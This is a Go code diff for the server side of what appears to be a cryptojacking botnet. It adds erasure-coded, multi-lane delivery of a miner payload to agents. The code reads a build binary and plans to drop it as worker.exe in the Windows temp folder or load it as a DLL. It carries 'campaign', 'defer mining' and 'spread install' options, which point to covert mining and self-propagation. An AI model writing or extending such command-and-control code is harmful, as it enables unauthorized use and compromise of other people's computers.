Add erasure-coded multi-lane spread foundation.

Server Reed-Solomon 4+2 shard encode on deploy plans when erasure_lanes_enabled; agents reassemble from parallel lane URLs as staging fallback with BGP/Path Tracer hints.

server/internal/api/deploy_plan.go

@@ -13,6 +13,7 @@ import (
 	"strings"
 
 	dbpkg "crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
 	"crypto-miner-server/internal/models"
 	"crypto-miner-server/internal/spreadrouter"
 )
@@ -70,6 +71,7 @@ type DeployPlanBody struct {
 	ImageTarURL   string           `json:"image_tar_url,omitempty"`
 	ImageTarSHA256 string          `json:"image_tar_sha256,omitempty"`
 	SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
+	ErasurePlan     *erasure.Plan                 `json:"erasure_plan,omitempty"`
 }
 
 type deployPlanRequest struct {
@@ -98,8 +100,10 @@ type DeployPlanHandler struct {
 	projectRoot string
 	publicURL   func() string
 	fleetSecret func() string
-	allowlist   func() map[string]ServiceDeployLane
-	pathTracer  *PathTracerHandler
+	allowlist       func() map[string]ServiceDeployLane
+	pathTracer      *PathTracerHandler
+	erasureEnabled  func() bool
+	erasureShards   *erasure.ShardStore
 }
 
 func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
@@ -118,6 +122,21 @@ func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
 	h.pathTracer = handler
 }
 
+// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
+func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
+	h.erasureEnabled = enabled
+	h.erasureShards = store
+}
+
+// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
+func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
+	h.erasureShards = store
+	if hub == nil {
+		return
+	}
+	h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
+}
+
 // POST /api/v1/agent/deploy-plan
 func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
 	var req deployPlanRequest
@@ -242,9 +261,62 @@ func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lan
 	default:
 		return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
 	}
+	body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
+	if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
+		return DeployPlanBody{}, err
+	}
 	return body, nil
 }
 
+func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
+	if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
+		return nil
+	}
+	platform := strings.TrimSpace(req.Platform)
+	if platform == "" {
+		platform = "windows"
+	}
+	buildID := strings.TrimSpace(req.BuildID)
+	build, err := h.resolveBuild(buildID, platform)
+	if err != nil {
+		return err
+	}
+	payload, err := os.ReadFile(build.FilePath)
+	if err != nil {
+		return fmt.Errorf("erasure read build: %w", err)
+	}
+	dest := `%TEMP%\AetherForge\worker.exe`
+	launch := "exe"
+	dllExport := ""
+	if body.Manifest != nil {
+		if body.Manifest.Dest != "" {
+			dest = body.Manifest.Dest
+		}
+		if body.Manifest.Launch != "" {
+			launch = body.Manifest.Launch
+		}
+		dllExport = body.Manifest.DLLExport
+	}
+	deferMining := true
+	spreadInstall := true
+	if body.Manifest != nil {
+		deferMining = body.Manifest.DeferMining
+		spreadInstall = body.Manifest.SpreadInstall
+	}
+	plan, err := erasure.BuildPlan(
+		h.erasureShards, serverURL, buildID, req.Campaign, payload,
+		dest, launch, dllExport, deferMining, spreadInstall,
+	)
+	if err != nil {
+		return err
+	}
+	body.ErasurePlan = plan
+	if body.SpreadRouteHint != nil {
+		body.SpreadRouteHint.ErasureLanesEnabled = true
+	}
+	return nil
+}
+
 func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
 	if h.pathTracer == nil {
 		return nil